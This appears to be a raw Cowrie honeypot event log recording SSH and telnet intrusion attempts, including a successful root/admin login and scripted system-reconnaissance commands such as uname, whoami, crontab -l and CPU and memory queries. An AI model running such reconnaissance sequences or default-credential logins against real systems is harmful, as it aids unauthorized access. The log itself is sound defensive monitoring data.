{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.090380Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.153722Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.157494Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.174774Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.259876Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.263551Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.266732Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.284948Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.345692Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.350213Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.365978Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38324,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b3212559bd5","protocol":"telnet","message":"New connection: 38.60.198.128:38324 (159.203.135.109:23) [session: 3b3212559bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.374481Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.424132Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.427327Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.441215Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.501043Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.504937Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.517133Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.575423Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.579079Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.594599Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.659290Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.663186Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.678057Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.735842Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.739521Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.755858Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.819879Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.824841Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.840389Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.895216Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.898885Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.913785Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.987840Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.990734Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:30.008085Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:30.076602Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:30.080273Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:30.098035Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:30.107051Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41158,"dst_ip":"159.203.135.109","dst_port":23,"session":"f97670e69493","protocol":"telnet","message":"New connection: 38.60.198.128:41158 (159.203.135.109:23) [session: f97670e69493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:31.460254Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":29877,"dst_ip":"159.203.135.109","dst_port":22,"session":"103dffedcf14","protocol":"ssh","message":"New connection: 177.36.200.182:29877 (159.203.135.109:22) [session: 103dffedcf14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:32.760045Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:33.158828Z","src_ip":"177.36.200.182","session":"103dffedcf14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43518,"dst_ip":"159.203.135.109","dst_port":23,"session":"3eca8a1bee4f","protocol":"telnet","message":"New connection: 38.60.198.128:43518 (159.203.135.109:23) [session: 3eca8a1bee4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:33.387087Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":29960,"dst_ip":"159.203.135.109","dst_port":22,"session":"75f0ac9f3a32","protocol":"ssh","message":"New connection: 177.36.200.182:29960 (159.203.135.109:22) [session: 75f0ac9f3a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:33.553921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:33.558763Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:33.958656Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:35.151363Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.61329221725464,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:35.944816Z","src_ip":"38.60.198.128","session":"0273079288b9","protocol":"telnet"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:35.998792Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:36.398579Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"?","message":"CMD: ?","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:37.806677Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"? ","message":"Command not found: ? ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:37.810512Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:37.813997Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:37.817528Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.631088972091675,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:38.128737Z","src_ip":"38.60.198.128","session":"f626a7079c62","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"ls","message":"CMD: ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:38.823349Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~","message":"CMD: cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:39.838118Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"> a6s87d6as8zdgtdyas.ini","message":"CMD: > a6s87d6as8zdgtdyas.ini","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:40.857250Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls","message":"CMD: ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:41.869650Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"exit","message":"CMD: exit","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:42.885568Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/65afc616b4933530942215be4e78dcb15c7f4f9f8a87de643b46552e10a54924","size":596,"shasum":"65afc616b4933530942215be4e78dcb15c7f4f9f8a87de643b46552e10a54924","duplicate":true,"duration":"6.5","message":"Closing TTY Log: var/lib/cowrie/tty/65afc616b4933530942215be4e78dcb15c7f4f9f8a87de643b46552e10a54924 after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:42.890636Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:43.901322Z","src_ip":"177.36.200.182","session":"75f0ac9f3a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.9190411567688,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:45.559698Z","src_ip":"38.60.198.128","session":"548e6455e4b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.10185217857361,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:45.626228Z","src_ip":"38.60.198.128","session":"6f7f402366e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60530,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce15eaa3ff68","protocol":"telnet","message":"New connection: 38.60.198.128:60530 (159.203.135.109:23) [session: ce15eaa3ff68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:47.422370Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":44704,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c938fbabfe1","protocol":"telnet","message":"New connection: 45.81.23.16:44704 (10.17.0.5:23) [session: 8c938fbabfe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:48.322268Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":32946,"dst_ip":"159.203.135.109","dst_port":23,"session":"af14cf376938","protocol":"telnet","message":"New connection: 38.60.198.128:32946 (159.203.135.109:23) [session: af14cf376938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:51.066721Z"}
{"eventid":"cowrie.session.closed","duration":5.858548402786255,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:54.180693Z","src_ip":"45.81.23.16","session":"8c938fbabfe1","protocol":"telnet"}
